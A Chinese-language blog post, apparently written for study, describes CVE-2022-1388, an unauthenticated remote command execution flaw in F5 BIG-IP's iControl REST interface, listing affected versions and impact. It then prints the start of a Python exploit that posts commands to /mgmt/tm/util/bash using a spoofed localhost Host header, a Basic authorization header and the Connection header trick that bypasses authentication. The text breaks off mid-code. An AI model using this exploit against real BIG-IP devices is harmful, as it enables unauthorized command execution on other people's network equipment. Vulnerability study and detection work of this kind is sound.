CVE-2022-1388-F5BIG-IP未授权RCE流量特征分析

最新推荐文章于 2025-06-09 03:09:26 发布

原创

最新推荐文章于 2025-06-09 03:09:26 发布 · 573 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#tcp/ip #bash #网络协议

简介

此操作仅用于技术交流和学习研究使用，请勿用于非法攻击，否则造成一切后果与本人无关

在F5 BIG-IP 16.1.x 16.1.2.2之前的版本、15.1.5.1之前的15.1.x版本、14.1.4.6之前的14.1.x版本、13.1.5之前的13.1.x版本以及所有12.1.x和11.6.x版本，未公开的请求可能会绕过iControl REST身份验证。注意：未评估已达到技术支持终止(EoTS)的软件版本。

此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问，以执行任意系统命令、创建或删除文件或禁用服务。

Poc/exp

POC地址

具体POC可参考：

#!/usr/bin/python3
import argparse
import requests
import urllib3
urllib3.disable_warnings()

def exploit(target, command):
    url = f'https://{
     
     target}/mgmt/tm/util/bash'
    headers = {
   
   
        'Host': '127.0.0.1',
        'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
        'X-F5-Auth-Token': 'asdf',        
        'Connection': 'X-F5-Auth-Token'